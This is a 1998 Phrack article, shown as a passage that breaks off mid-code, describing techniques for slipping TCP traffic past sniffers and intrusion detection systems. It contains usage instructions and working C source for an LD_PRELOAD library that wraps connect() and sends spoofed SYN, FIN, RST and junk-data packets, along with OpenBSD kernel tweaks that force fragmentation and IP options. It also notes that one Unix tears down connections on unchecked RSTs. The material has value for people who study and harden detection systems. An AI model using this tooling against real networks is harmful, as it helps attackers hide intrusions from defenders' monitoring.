---[ Phrack Magazine Volume 8, Issue 54 Dec 25th, 1998, article 10 of 12 -------------------------[ Defeating Sniffers and Intrusion Detection Systems --------[ horizon ----[ Overview The purpose of this article is to demonstrate some techniques that can be used to defeat sniffers and intrusion detection systems. This article focuses mainly on confusing your average "hacker" sniffer, with some rough coverage of Intrusion Detection Systems (IDS). However, the methods and code present in this article should be a good starting point for getting your packets past ID systems. For an intense examination of attack techniques against IDS, check out: http://www.nai.com/products/security/advisory/papers/ids-html/doc000.asp. There are a large number of effective techniques other than those that are implemented in this article. I have chosen a few generic techniques that hopefully can be easily expanded into more targeted and complex attacks. After implementing these attacks, I have gone through and attempted to correlate them to the attacks described in the NAI paper, where appropriate. The root cause of the flaws discussed in this article is that most sniffers and intrusion detection systems do not have as robust of a TCP/IP implementation as the machines that are actually communicating on the network. Many sniffers and IDS use a form of datalink level access, such as BPF, DLPI, or SOCK_PACKET. The sniffer receives the entire datalink level frame, and gets no contextual clues from the kernel as to how that frame will be interpreted. Thus, the sniffer has the job of interpreting the entire packet and guessing how the kernel of the receiving machine is going to process it. Luckily, 95% of the time, the packet is going to be sane, and the kernel TCP/IP stack is going to behave rather predictably. It is the other 5% of the time that we will be focusing on. This article is divided into three sections: an overview of the techniques employed, a description of the implementation and usage, and the code. Where possible, the code has been implemented in a somewhat portable format: a shared library that wraps around connect(), which you can use LD_PRELOAD to "install" into your normal client programs. This shared library uses raw sockets to create TCP packets, which should work on most unixes. However, some of the attacks described are too complex to implement with raw sockets, so simple OpenBSD kernel patches are supplied. I am working on complementary kernel patches for Linux, which will be placed on the rhino9 web site when they are complete. The rhino9 web site is at: http://www.rhino9.ml.org/ ----[ Section 1. The Tricks The first set of tricks are solely designed to fool most sniffers, and will most likely have no effect on a decent ID system. The second set of tricks should be advanced enough to start to have an impact on the effectiveness of an intrusion detection system. Sniffer Specific Attacks ------------------------ 1. Sniffer Design - One Host Design The first technique is extremely simple, and takes advantage of the design of many sniffers. Several hacker sniffers are designed to follow one connection, and ignore everything else until that connection is closed or reaches some internal time out. Sniffers designed in this fashion have a very low profile, as far as memory usage and CPU time. However, they obviously miss a great deal of the data that can be obtained. This gives us an easy way of preventing our packets from being captured: before our connection, we send a spoofed SYN packet from a non-existent host to the same port that we are attempting to connect to. Thus, the sniffer sees the SYN packet, and if it is listening, it will set up its internal state to monitor all packets related to that connection. Then, when we make our connection, the sniffer ignores our SYN because it is watching the fake host. When the host later times out, our connection will not be logged because our initial SYN packet has long been sent. 2. Sniffer Design - IP options The next technique depends on uninformed coding practices within sniffers. If you look at the code for some of the hacker sniffers, namely ones based-off of the original linsniffer, you will see that they have a structure that looks like this: struct etherpacket { etherheader eh; ipheader ip; tcpheader tcp; char data[8192]; }; The sniffer will read a packet off of the datalink interface, and then slam it into that structure so it can analyze it easily. This should work fine most of the time. However, this approach makes a lot of assumptions: it assumes that the size of the IP header is 20 bytes, and it also assumes that the size of the TCP header is 20 bytes. If you send an IP packet with 40 bytes of options, then the sniffer is going to look inside your IP options for the TCP header, and completely misinterpret your packet. If the sniffer handles your IP header correctly, but incorrectly handles the TCP header, that doesn't buy you quite as much. In that situation, you get an extra 40 bytes of data that the sniffer will log. I have implemented mandatory IP options in the OpenBSD kernel such that it is manageable by a sysctl. 3. Insertion - FIN and RST Spoofing - Invalid Sequence Numbers This technique takes advantage of the fact that your typical sniffer is not going to keep track of the specific details of the ongoing connection. In a TCP connection, sequence numbers are used as a control mechanism for determining how much data has been sent, and the correct order for the data that has been sent. Most sniffers do not keep track of the sequence numbers in an ongoing TCP connection. This allows us to insert packets into the data stream that the kernel will disregard, but the sniffer will interpret as valid. The first technique we will use based on this is spoofing FIN and RST packets. FIN and RST are control flags inside the TCP packets, a FIN indicating the initiation of a shutdown sequence for one side of a connection, and an RST indicating that a connection should be immediately torn down. If we send a packet with a FIN or RST, with a sequence number that is far off of the current sequence number expected by the kernel, then the kernel will disregard it. However, the sniffer will likely regard this as a legitimate connection close request or connection reset, and cease logging. It is interesting to note that certain implementations of TCP stacks do not check the sequence numbers properly upon receipt of an RST. This obviously provides a large potential for a denial of service attack. Specifically, I have noticed that Digital Unix 4.0d will tear down connections without checking the sequence numbers on RST packets. 4. Insertion - Data Spoofing - Invalid Sequence Numbers This technique is a variation of the previous technique, which takes advantage of the fact that a typical sniffer will not follow the sequence numbers of a TCP connection. A lot of sniffers have a certain data capture length, such that they will stop logging a connection after that amount of data has been captured. If we send a large amount of data after the connection initiation, with completely wrong sequence numbers, our packets will be dropped by the kernel. However, the sniffer will potentially log all of that data as valid information. This is roughly an implementation of the "tcp-7" attack mentioned in the NAI paper. IDS / Sniffer Attacks: --------------------- The above techniques work suprisingly well for most sniffers, but they are not going to have much of an impact on most IDS. The next six techniques are a bit more complicated, but represent good starting points for getting past the more complex network monitors. 5. Evasion - IP Fragmentation IP fragmentation allows packets to be split over multiple datagrams in order to fit packets within the maximum transmission unit of the physical network interface. Typically, TCP is aware of the mtu, and doesn't send packets that need to be fragmented at an IP level. We can use this to our advantage to try to confuse sniffers and IDS. There are several potential attacks involving fragmentation, but we will only cover a simple one. We can send a TCP packet split over several IP datagrams such that the first 8 bytes of the TCP header are in a single packet, and the rest of the data is sent in 32 byte packets. This actually buys us a lot in our ability to fool a network analysis tool. First of all, the sniffer/IDS will have to be capable of doing fragment reassembly. Second of all, it will have to be capable of dealing with fragmented TCP headers. It turns out that this simple technique is more than sufficient to get your packets past most datalink level network monitors. This an another attack that I chose to implement as a sysctl in the OpenBSD kernel. This technique is very powerful in it's ability to get past most sniffers completely. However, it requires some experimentation because you have to make sure that your packets will get past all of the filters between you and the target. Certain packet filters wisely drop fragmented packets that look like they are going to rewrite the UDP/TCP header, or that look like they are unduly small. The implementation in this article provides a decent deal of control over the size of the fragments that your machine will output. This will allow you to implement the "frag-1" and "frag-2" attacks described in the NAI paper. 6. Desynchronization - Post Connection SYN If we are attempting to fool an intelligent sniffer, or an ID system, then we can be pretty certain that it will keep track of the TCP sequence numbers. For this technique, we will attempt to desynchronize the sniffer/IDS from the actual sequence numbers that the kernel is honoring. We will implement this attack by sending a post connection SYN packet in our data stream, which will have divergent sequence numbers, but otherwise meet all of the necessary criteria to be accepted by our target host. However, the target host will ignore this SYN packet, because it references an already established connection. The intent of this attack is to get the sniffer/IDS to resynchronize its notion of the sequence numbers to the new SYN packet. It will then ignore any data that is a legitimate part of the original stream, because it will be awaiting a different sequence number. If we succeed in resynchronizing the IDS with a SYN packet, we can then send an RST packet with the new sequence number and close down its notion of the connection. This roughly corresponds with the "tcbc-2" attack mentioned in the NAI paper. 7. Desynchronization - Pre Connection SYN Another attack we perform which is along this theme is to send an initial SYN before the real connection, with an invalid TCP checksum. If the sniffer is smart enough to ignore subsequent SYNs in a connection, but not smart enough to check the TCP checksum, then this attack will synchronize the sniffer/IDS to a bogus sequence number before the real connection occurs. This attack calls bind to get the kernel to assign a local port to the socket before calling connect. 8. Insertion - FIN and RST Spoofing - TCP checksum validation This technique is a variation of the FIN/RST spoofing technique mentioned above. However, this time we will attempt to send FIN and RST packets that should legitimately close the connection, with one notable exception: the TCP checksum will be invalid. These packets will be immediately dropped by the kernel, but potentially honored by the IDS/sniffer. This attack requires kernel support in order to determine the correct sequence numbers to use on the packet. This is similar to the "insert-2" attack in the NAI paper. 9. Insertion - Invalid Data - TCP checksum validation This technique is a variation of the previous data insertion attack, with the exception that we will be inserting data with the correct sequence numbers, but incorrect TCP checksums. This will serve to confuse and desynchronize sniffers and ID by feeding it a lot of data that will not be honored by the participating kernels. This attack requires kernel support to get the correct sequence numbers for the outgoing packets. This attack is also similar to the "insert-2" attack described in the NAI paper. 10. Insertion - FIN and RST Spoofing - Short TTL If the IDS or sniffer is sitting on the network such that it is one or more hops away from the host it is monitoring, then we can do a simple attack, utilizing the TTL field of the IP packet. For this attack, we determine the lowest TTL that can be used to reach the target host, and then subtract one. This allows us to send packets that will not reach the target host, but that have the potential of reaching the IDS or sniffer. In this attack, we send a couple of FIN packets, and a couple of RST packets. 11. Insertion - Data Spoofing - Short TTL For our final attack, we will send 8k of data with the correct sequence numbers and TCP checksums. However, the TTL will be one hop too short to reach our target host. Summary ------- All of these attacks work in concert to confuse sniffers and IDS. Here is a breakdown of the order in which we perform them: Attack 1 - One Host Sniffer Design. FAKEHOST -> TARGET SYN Attack 7 - Pre-connect Desynchronization Attempt. REALHOST -> TARGET SYN (Bad TCP Checksum, Arbitrary Seq Number) Kernel Activity REALHOST -> TARGET SYN (This is the real SYN, sent by our kernel) Attack 6 - Post-connect Desynchronization Attempt. REALHOST -> TARGET SYN (Arbitrary Seq Number X) REALHOST -> TARGET SYN (Seq Number X+1) Attack 4 - Data Spoofing - Invalid Sequence Numbers REALHOST -> TARGET DATA x 8 (1024 bytes, Seq Number X+2) Attack 5 - FIN/RST Spoofing - Invalid Sequence Numbers REALHOST -> TARGET FIN (Seq Number X+2+8192) REALHOST -> TARGET FIN (Seq Number X+3+8192) REALHOST -> TARGET RST (Seq Number X+4+8192) REALHOST -> TARGET RST (Seq Number X+5+8192) Attack 11 - Data Spoofing - TTL * REALHOST -> TARGET DATA x 8 (1024 bytes, Short TTL, Real Seq Number Y) Attack 10 - FIN/RST Spoofing - TTL * REALHOST -> TARGET FIN (Short TTL, Seq Number Y+8192) * REALHOST -> TARGET FIN (Short TTL, Seq Number Y+1+8192) * REALHOST -> TARGET RST (Short TTL, Seq Number Y+2+8192) * REALHOST -> TARGET RST (Short TTL, Seq Number Y+3+8192) Attack 9 - Data Spoofing - Checksum * REALHOST -> TARGET DATA x 8 (1024 bytes, Bad TCP Checksum, Real Seq Number Z) Attack 8 - FIN/RST Spoofing - Checksum * REALHOST -> TARGET FIN (Bad TCP Checksum, Seq Number Z+8192) * REALHOST -> TARGET FIN (Bad TCP Checksum, Seq Number Z+1+8192) * REALHOST -> TARGET RST (Bad TCP Checksum, Seq Number Z+2+8192) * REALHOST -> TARGET RST (Bad TCP Checksum, Seq Number Z+3+8192) The attacks with an asterisk require kernel support to determine the correct sequence numbers. Arguably, this could be done without kernel support, utilizing a datalink level sniffer, but it would make the code significantly more complex, because it would have to reassemble fragments, and do several validation checks in order to follow the real connection. The user can choose which of these attacks he/she would like to perform, and the sequence numbers will adjust themselves accordingly. ----[ Section 2 - Implementation and Usage My primary goal when implementing these techniques was to keep the changes necessary to normal system usage as slight as possible. I had to divide the techniques into two categories: attacks that can be performed from user context, and attacks that have to be augmented by the kernel in some fashion. My secondary goal was to make the userland set of attacks reasonably portable to other Unix environments, besides OpenBSD and Linux. The userland attacks are implemented using shared library redirection, an extremely useful technique borrowed from halflife's P51-08 article. The first program listed below, congestant.c, is a shared library that the user requests the loader to link first. This is done with the LD_PRELOAD environment variable on several unixes. For more information about this technique, refer to the original article by halflife. The shared library defines the connect symbol, thus pre-empting the normal connect function from libc (or libsocket) during the loading phase of program execution. Thus, you should be able to use these techniques with most any client program that utilizes normal BSD socket functionality. OpenBSD does not let us do shared library redirection (when you attempt to dlsym the old symbol out of libc, it gives you a pointer to the function you had pre-loaded). However, this is not a problem because we can just call the connect() syscall directly. This shared library has some definite drawbacks, but you get what you pay for. It will not work correctly with programs that do non-blocking connect calls, or RAW or datalink level access. Furthermore, it is designed for use on TCP sockets, and without kernel support to determine the type of a socket, it will attempt the TCP attacks on UDP connections. This support is currently only implemented under OpenBSD. However, this isn't that big of a drawback because it just sends a few packets that get ignored. Another drawback to the shared library is that it picks a sequence number out of the blue to represent the "wrong" sequence number. Due to this fact, there is a very small possibility that the shared library will pick a legitimate sequence number, and not desynchronize the stream. This, however, is extremely unlikely. A Makefile accompanies the shared library. Edit it to fit your host, and then go into the source file and make it point to your copy of libc.so, and you should be ready to go. The code has been tested on OpenBSD 2.3, 2.4, Debian Linux, Slackware Linux, Debian glibc Linux, Solaris 2.5, and Solaris 2.6. You can use the library like this: # export LD_PRELOAD=./congestion.so # export CONGCONF="DEBUG,OH,SC,SS,DS,FS,RS" # telnet www.blah.com The library will "wrap" around any connects in the programs you run from that point on, and provide you some protection behind the scenes. You can control the program by defining the CONGCONF environment variable. You give it a comma delimited list of attacks, which break out like this: DEBUG: Show debugging information OH: Do the One Host Design Attack SC: Spoof a SYN prior to the connect with a bad TCP checksum. SS: Spoof a SYN after the connection in a desynchronization attempt. DS: Insert 8k of data with bad sequence numbers. FS: Spoof FIN packets with bad sequence numbers. RS: Spoof RST packets with bad sequence numbers. DC: Insert 8k of data with bad TCP checksums. (needs kernel support) FC: Spoof FIN packets with bad TCP checksums. (needs kernel support) RC: Spoof RST packets with bad TCP checksums. (needs kernel support) DT: Insert 8k of data with short TTLs. (needs kernel support) FT: Spoof FIN packets with short TTLs. (needs kernel support) RT: Spoof RST packets with short TTLs. (needs kernel support) Kernel Support -------------- OpenBSD kernel patches are provided to facilitate several of the techniques described above. These patches have been made against the 2.4 source distribution. I have added three sysctl variables to the kernel, and one new system call. The three sysctl variables are: net.inet.ip.fraghackhead (integer) net.inet.ip.fraghackbody (integer) net.inet.ip.optionshack (integer) The new system call is getsockinfo(), and it is system call number 242. The three sysctl's can be used to modify the characteristics of every outgoing IP packet coming from the machine. The fraghackhead variable specifies a new mtu, in bytes, for outgoing IP datagrams. fraghackhead is applied to every outgoing datagram, unless fraghackbody is also defined. In that case, the mtu for the first fragment of a packet is read from fraghackhead, and the mtu for every consecutive fragment is read from fraghackbody. This allows you to force your machine into fragmenting all of its traffic, to any size that you specify. The reason it is divided into two variables is so that you can have the first fragment contain the entire TCP/UDP header, and have the following fragments be 8 or 16 bytes. This way, you can get your fragmented packets past certain filtering routers that block any sort of potential header rewriting. The optionshack sysctl allows you to turn on mandatory 40 bytes of NULL IP options on every outgoing packet. I implemented these controls such that they do not have any effect on packets sent through raw sockets. The implication of this is that our attacking packets will not be fragmented or contain IP options. Using these sysctl's is pretty simple: for the fraghack variables, you specify a number of bytes (or 0 to turn them off), and for the optionshack, you either set it to 0 or 1. Here is an example use: # sysctl -w net.inet.ip.optionshack=1 # 40 bytes added to header # sysctl -w net.inet.ip.fraghackhead=80 # 20 + 40 + 20 = full protocol header # sysctl -w net.inet.ip.fraghackbody=68 # 20 + 40 + 8 = smallest possible frag It is very important to note that you should be careful with the fraghack options. When you specify extreme fragmentation, you quickly eat up the memory that the kernel has available for storing packet headers. If memory usage is too high, you will notice sendto() returning a no buffer space error. If you stick to programs like telnet or ssh, that use small packets, then you should be fine with 28 or 28/36. However, if you use programs that use large packets like ftp or rcp, then you should bump fraghackbody up to a higher number, such as 200. The system call, getsockinfo, is needed by the userland program to determine if a socket is a TCP socket, and to query the kernel for the next sequence number that it expects to send on the next outgoing packet, as well as the next sequence number it expects to receive from it's peer. This allows the userland program to implement attacks based on having a correct sequence number, but some other flaw in the packet such as a short TTL or bad TCP checksum. Kernel Patch Installation ------------------------- Here are the steps I use to install the kernel patches. Disclaimer: I am not an experienced kernel programmer, so don't be too upset if your box gets a little flaky. The testing I've done on my own machines has gone well, but be aware that you really are screwing with critical stuff by installing these patches. You may suffer performance hits, or other such unpleasentries. But hey, you can't have any fun if you don't take any risks. :> Step 1. Apply the netinet.patch to /usr/src/sys/netinet/ Step 2. cp /usr/src/sys/netinet/in.h to /usr/include/netinet/in.h Step 3. go into /usr/src/usr.sbin/sysctl, and rebuild and install it Step 4. Apply kern.patch to /usr/src/sys/kern/ Step 5. cd /usr/src/sys/kern; make Step 6. Apply sys.patch to /usr/src/sys/sys/ Step 7. cd into your kernel build directory (/usr/src/sys/arch/XXX/compile/XXX), and do a make depend && make. Step 8. cp bsd /bsd, reboot, and cross your fingers. :> ----[ The Code <++> congestant/Makefile # OpenBSD LDPRE=-Bshareable LDPOST= OPTS=-DKERNELSUPPORT # Linux #LDPRE=-Bshareable #LDPOST=-ldl #OPTS= # Solaris #LDPRE=-G #LDPOST=-ldl #OPTS=-DBIG_ENDIAN=42 -DBYTEORDER=42 congestant.so: congestant.o ld ${LDPRE} -o congestant.so congestant.o ${LDPOST} congestant.o: congestant.c gcc ${OPTS} -fPIC -c congestant.c clean: rm -f congestant.o congestant.so <--> <++> congestant/congestant.c /* * congestant.c - demonstration of sniffer/ID defeating techniques * * by horizon * special thanks to stran9er, mea culpa, plaguez, halflife, and fyodor * * openbsd doesn't let us do shared lib redirection, so we implement the * connect system call directly. Also, the kernel support for certain attacks * is only implemented in openbsd. When I finish the linux support, it will * be available at http://www.rhino9.ml.org * * This whole thing is a conditionally compiling nightmare. :> * This has been tested under OpenBSD 2.3, 2.4, Solaris 2.5, Solaris 2.5.1, * Solaris 2.6, Debian Linux, and the glibc Debian Linux */ /* The path to our libc. (libsocket under Solaris) */ /* You don't need this if you are running OpenBSD */ /* #define LIB_PATH "/usr/lib/libsocket.so" */ #define LIB_PATH "/lib/libc-2.0.7.so" /* #define LIB_PATH "/usr/lib/libc.so" */ /* The source of our initial spoofed SYN in the One Host Design attack */ /* This has to be some host that will survive any outbound packet filters */ #define FAKEHOST "42.42.42.42" #include #include #include #include #include #include #include #include #include #include #include #include #include #include #if __linux__ #include #endif #include struct cong_config { int one_host_attack; int fin_seq; int rst_seq; int syn_seq; int data_seq; int data_chk; int fin_chk; int rst_chk; int syn_chk; int data_ttl; int fin_ttl; int rst_ttl; int ttl; } cong_config; int cong_init=0; int cong_debug=0; long cong_ttl_cache=0; int cong_ttl=0; /* If this is not openbsd, then we will use the connect symbol from libc */ /* otherwise, we will use syscall(SYS_connect, ...) */ #ifndef __OpenBSD__ #if __GLIBC__ == 2 int (*cong_connect)(int, __CONST_SOCKADDR_ARG, socklen_t)=NULL; #else int (*cong_connect)(int, const struct sockaddr *, int)=NULL; #endif #endif /* not openbsd */ #define DEBUG(x) if (cong_debug==1) fprintf(stderr,(x)); /* define our own headers so its easier to port. use cong_ to avoid any * potential symbol name collisions */ struct cong_ip_header { unsigned char ip_hl:4, /* header length */ ip_v:4; /* version */ unsigned char ip_tos; /* type of service */ unsigned short ip_len; /* total length */ unsigned short ip_id; /* identification */ unsigned short ip_off; /* fragment offset field */ #define IP_RF 0x8000 /* reserved fragment flag */ #define IP_DF 0x4000 /* dont fragment flag */ #define IP_MF 0x2000 /* more fragments flag */ #define IP_OFFMASK 0x1fff /* mask for fragmenting bits */ unsigned char ip_ttl; /* time to live */ unsigned char ip_p; /* protocol */ unsigned short ip_sum; /* checksum */ unsigned long ip_src, ip_dst; /* source and dest address */ }; struct cong_icmp_header /* this is really an echo */ { unsigned char icmp_type; unsigned char icmp_code; unsigned short icmp_checksum; unsigned short icmp_id; unsigned short icmp_seq; unsigned long icmp_timestamp; }; struct cong_tcp_header { unsigned short th_sport; /* source port */ unsigned short th_dport; /* destination port */ unsigned int th_seq; /* sequence number */ unsigned int th_ack; /* acknowledgement number */ #if BYTE_ORDER == LITTLE_ENDIAN unsigned char th_x2:4, /* (unused) */ th_off:4; /* data offset */ #endif #if BYTE_ORDER == BIG_ENDIAN unsigned char th_off:4, /* data offset */ th_x2:4; /* (unused) */ #endif unsigned char th_flags; #define TH_FIN 0x01 #define TH_SYN 0x02 #define TH_RST 0x04 #define TH_PUSH 0x08 #define TH_ACK 0x10 #define TH_URG 0x20 unsigned short th_win; /* window */ unsigned short th_sum; /* checksum */ unsigned short th_urp; /* urgent pointer */ }; struct cong_pseudo_header { unsigned long saddr, daddr; char mbz; char ptcl; unsigned short tcpl; }; int cong_checksum(unsigned short* data, int length) { register int nleft=length; register unsigned short *w = data; register int sum=0; unsigned short answer=0; while (nleft>1) { sum+=*w++; nleft-=2; } if (nleft==1) { *(unsigned char *)(&answer) = *(unsigned char *)w; sum+=answer; } sum=(sum>>16) + (sum & 0xffff); sum +=(sum>>16); answer=~sum; return answer; } #define PHLEN (sizeof (struct cong_pseudo_header)) #define IHLEN (sizeof (struct cong_ip_header)) #define ICMPLEN (sizeof (struct cong_icmp_header)) #define THLEN (sizeof (struct cong_tcp_header)) /* Utility routine for the ttl attack. Sends an icmp echo */ void cong_send_icmp(long source, long dest, int seq, int id, int ttl) { struct sockaddr_in sa; int sock,packet_len; char *pkt; struct cong_ip_header *ip; struct cong_icmp_header *icmp; int on=1; if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("socket"); exit(1); } if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) { perror("setsockopt: IP_HDRINCL"); exit(1); } bzero(&sa,sizeof(struct sockaddr_in)); sa.sin_addr.s_addr = dest; sa.sin_family = AF_INET; pkt=calloc((size_t)1,(size_t)(IHLEN+ICMPLEN)); ip=(struct cong_ip_header *)pkt; icmp=(struct cong_icmp_header *)(pkt+IHLEN); ip->ip_v = 4; ip->ip_hl = IHLEN >>2; ip->ip_tos = 0; ip->ip_len = htons(IHLEN+ICMPLEN); ip->ip_id = htons(getpid() & 0xFFFF); ip->ip_off = 0; ip->ip_ttl = ttl; ip->ip_p = IPPROTO_ICMP ;//ICMP ip->ip_sum = 0; ip->ip_src = source; ip->ip_dst = dest; icmp->icmp_type=8; icmp->icmp_seq=htons(seq); icmp->icmp_id=htons(id); icmp->icmp_checksum=cong_checksum((unsigned short*)icmp,ICMPLEN); if(sendto(sock,pkt,IHLEN+ICMPLEN,0,(struct sockaddr*)&sa,sizeof(sa)) < 0) { perror("sendto"); } free(pkt); close(sock); } /* Our main worker routine. sends a TCP packet */ void cong_send_tcp(long source, long dest,short int sport, short int dport, long seq, long ack, int flags, char *data, int dlen, int cksum, int ttl) { struct sockaddr_in sa; int sock,packet_len; char *pkt,*phtcp; struct cong_pseudo_header *ph; struct cong_ip_header *ip; struct cong_tcp_header *tcp; int on=1; if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("socket"); exit(1); } if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) { perror("setsockopt: IP_HDRINCL"); exit(1); } bzero(&sa,sizeof(struct sockaddr_in)); sa.sin_addr.s_addr = dest; sa.sin_family = AF_INET; sa.sin_port = dport; phtcp=calloc((size_t)1,(size_t)(PHLEN+THLEN+dlen)); pkt=calloc((size_t)1,(size_t)(IHLEN+THLEN+dlen)); ph=(struct cong_pseudo_header *)phtcp; tcp=(struct cong_tcp_header *)(((char *)phtcp)+PHLEN); ip=(struct cong_ip_header *)pkt; ph->saddr=source; ph->daddr=dest; ph->mbz=0; ph->ptcl=IPPROTO_TCP; ph->tcpl=htons(THLEN + dlen); tcp->th_sport=sport; tcp->th_dport=dport; tcp->th_seq=seq; tcp->th_ack=ack; tcp->th_off=THLEN/4; tcp->th_flags=flags; if (ack) tcp->th_flags|=TH_ACK; tcp->th_win=htons(16384); memcpy(&(phtcp[PHLEN+THLEN]),data,dlen); tcp->th_sum=cong_checksum((unsigned short*)phtcp,PHLEN+THLEN+dlen)+cksum; ip->ip_v = 4; ip->ip_hl = IHLEN >>2; ip->ip_tos = 0; ip->ip_len = htons(IHLEN+THLEN+dlen); ip->ip_id = htons(getpid() & 0xFFFF); ip->ip_off = 0; ip->ip_ttl = ttl; ip->ip_p = IPPROTO_TCP ;//TCP ip->ip_sum = 0; ip->ip_src = source; ip->ip_dst = dest; ip->ip_sum = cong_checksum((unsigned short*)ip,IHLEN); memcpy(((char *)(pkt))+IHLEN,(char *)tcp,THLEN+dlen); if(sendto(sock,pkt,IHLEN+THLEN+dlen,0,(struct sockaddr*)&sa,sizeof(sa)) < 0) { perror("sendto"); } free(phtcp); free(pkt); close(sock); } /* Utility routine for data insertion attacks */ void cong_send_data(long source, long dest,short int sport, short int dport, long seq, long ack, int chk, int ttl) { char data[1024]; int i,j; for (i=0;i<8;i++) { for (j=0;j<1024;data[j++]=random()); cong_send_tcp(source, dest, sport, dport, htonl(seq+i*1024), htonl(ack), TH_PUSH, data, 1024, chk, ttl); } } /* Utility routine for the ttl attack - potentially unreliable */ /* This could be rewritten to look for the icmp ttl exceeded and count * the number of packets it receives, thus going much quicker. */ int cong_find_ttl(long source, long dest) { int sock; long timestamp; struct timeval tv,tvwait; int ttl=0,result=255; char buffer[8192]; int bread; fd_set fds; struct cong_ip_header *ip; struct cong_icmp_header *icmp; if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) { perror("socket"); exit(1); } tvwait.tv_sec=0; tvwait.tv_usec=500; gettimeofday(&tv,NULL); timestamp=tv.tv_sec+3; // 3 second timeout DEBUG("Determining ttl..."); while(tv.tv_sec<=timestamp) { gettimeofday(&tv,NULL); if (ttl<50) { cong_send_icmp(source,dest,ttl,1,ttl); cong_send_icmp(source,dest,ttl,1,ttl); cong_send_icmp(source,dest,ttl,1,ttl++); } FD_ZERO(&fds); FD_SET(sock,&fds); select(sock+1,&fds,NULL,NULL,&tvwait); if (FD_ISSET(sock,&fds)) { if (bread=read(sock,buffer,sizeof(buffer))) { /* should we practice what we preach? nah... too much effort :p */ ip=(struct cong_ip_header *)buffer; if (ip->ip_src!=dest) continue; icmp=(struct cong_icmp_header *)(buffer + ((ip->ip_hl)<<2)); if (icmp->icmp_type!=0) continue; if (ntohs(icmp->icmp_seq)icmp_seq); } } } if (cong_debug) fprintf(stderr,"%d\n",result); close(sock); return result; } /* This is our init routine - reads conf env var*/ /* On the glibc box I tested, you cant dlopen from within * _init, so there is a little hack here */ #if __GLIBC__ == 2 int cong_start(void) #else int _init(void) #endif { void *handle; char *conf; #ifndef __OpenBSD__ handle=dlopen(LIB_PATH,1); if (!handle) { fprintf(stderr,"Congestant Error: Can't load libc.\n"); return 0; } #if __linux__ || (__svr4__ && __sun__) || sgi || __osf__ cong_connect = dlsym(handle, "connect"); #else cong_connect = dlsym(handle, "_connect"); #endif if (!cong_connect) { fprintf(stderr,"Congestant Error: Can't find connect().\n"); return -1; } #endif /* not openbsd */ memset(&cong_config,0,sizeof(struct cong_config)); if (conf=getenv("CONGCONF")) { char *token; token=strtok(conf,","); while (token) { if (!strcmp(token,"OH")) cong_config.one_host_attack=1; else if (!strcmp(token,"FS")) cong_config.fin_seq=1; else if (!strcmp(token,"RS")) cong_config.rst_seq=1; else if (!strcmp(token,"SS")) cong_config.syn_seq=1; else if (!strcmp(token,"DS")) cong_config.data_seq=1; else if (!strcmp(token,"FC")) cong_config.fin_chk=1; else if (!strcmp(token,"RC")) cong_config.rst_chk=1; else if (!strcmp(token,"SC")) cong_config.syn_chk=1; else if (!strcmp(token,"DC")) cong_config.data_chk=1; else if (!strcmp(token,"FT")) { cong_config.fin_ttl=1; cong_config.ttl=1; } else if (!strcmp(token,"RT")) { cong_config.rst_ttl=1; cong_config.ttl=1; } else if (!strcmp(token,"DT")) { cong_config.data_ttl=1; cong_config.ttl=1; } else if (!strcmp(token,"DEBUG")) cong_debug=1; token=strtok(NULL,","); } } else /* default to full sneakiness */ { cong_config.one_host_attack=1; cong_config.fin_seq=1; cong_config.rst_seq=1; cong_config.syn_seq=1; cong_config.data_seq=1; cong_config.syn_chk=1; cong_debug=1; /* assume they have kernel support */ /* attacks are only compiled in under obsd*/ cong_config.data_chk=1; cong_config.fin_chk=1; cong_config.rst_chk=1; cong_config.data_ttl=1; cong_config.fin_ttl=1; cong_config.rst_ttl=1; cong_config.ttl=1; } cong_init=1; } /* This is our definition of connect */ #if (__svr4__ && __sun__) int connect (int __fd, struct sockaddr * __addr, int __len) #else #if __GLIBC__ == 2 int connect __P ((int __fd, __CONST_SOCKADDR_ARG __addr, socklen_t __len)) #else int connect __P ((int __fd, const struct sockaddr * __addr, int __len)) #endif #endif { int result,nl; struct sockaddr_in sa; long from,to; short src,dest; unsigned long fakeseq=424242; int type=SOCK_STREAM; unsigned long realseq=0; unsigned long recvseq=0; int ttl=255,ttlseq; #if __GLIBC__ == 2 if (cong_init==0) cong_start(); #endif if (cong_init++==1) fprintf(stderr,"Congestant v1 by horizon loaded.\n"); /* quick hack so we dont waste time with udp connects */ #ifdef KERNELSUPPORT #ifdef __OpenBSD__ syscall(242,__fd,&type,&realseq,&recvseq); #endif /* openbsd */ if (type!=SOCK_STREAM) { result=syscall(SYS_connect,__fd,__addr,__len); return result; } #endif /* kernel support */ nl=sizeof(sa); getsockname(__fd,(struct sockaddr *)&sa,&nl); from=sa.sin_addr.s_addr; src=sa.sin_port; #if __GLIBC__ == 2 to=__addr.__sockaddr_in__->sin_addr.s_addr; dest=__addr.__sockaddr_in__->sin_port; #else to=((struct sockaddr_in *)__addr)->sin_addr.s_addr; dest=((struct sockaddr_in *)__addr)->sin_port; #endif if (cong_config.one_host_attack) { cong_send_tcp(inet_addr(FAKEHOST), to, 4242, dest, 0, 0, TH_SYN, NULL, 0, 0, 254); DEBUG("Spoofed Fake SYN Packet\n"); } if (cong_config.syn_chk) { /* This is a potential problem that could mess up * client programs. If necessary, we bind the socket * so that we can know what the source port will be * prior to the connection. */ if (src==0) { bind(__fd,(struct sockaddr *)&sa,nl); getsockname(__fd,(struct sockaddr *)&sa,&nl); from=sa.sin_addr.s_addr; src=sa.sin_port; } cong_send_tcp(from, to, src, dest, htonl(fakeseq), 0, TH_SYN, NULL, 0,100, 254); DEBUG("Sent Pre-Connect Desynchronizing SYN.\n"); fakeseq++; } DEBUG("Connection commencing...\n"); #ifndef __OpenBSD__ result=cong_connect(__fd,__addr,__len); #else /* not openbsd */ result=syscall(SYS_connect,__fd,__addr,__len); #endif if (result==-1) { if (errno!=EINPROGRESS) return -1; /* Let's only print the warning once */ if (cong_init++==2) fprintf(stderr,"Warning: Non-blocking connects might not work right.\n"); } /* In case an ephemeral port was assigned by connect */ nl=sizeof(sa); getsockname(__fd,(struct sockaddr *)&sa,&nl); from=sa.sin_addr.s_addr; src=sa.sin_port; if (cong_config.syn_seq) { cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0, TH_SYN, NULL, 0, 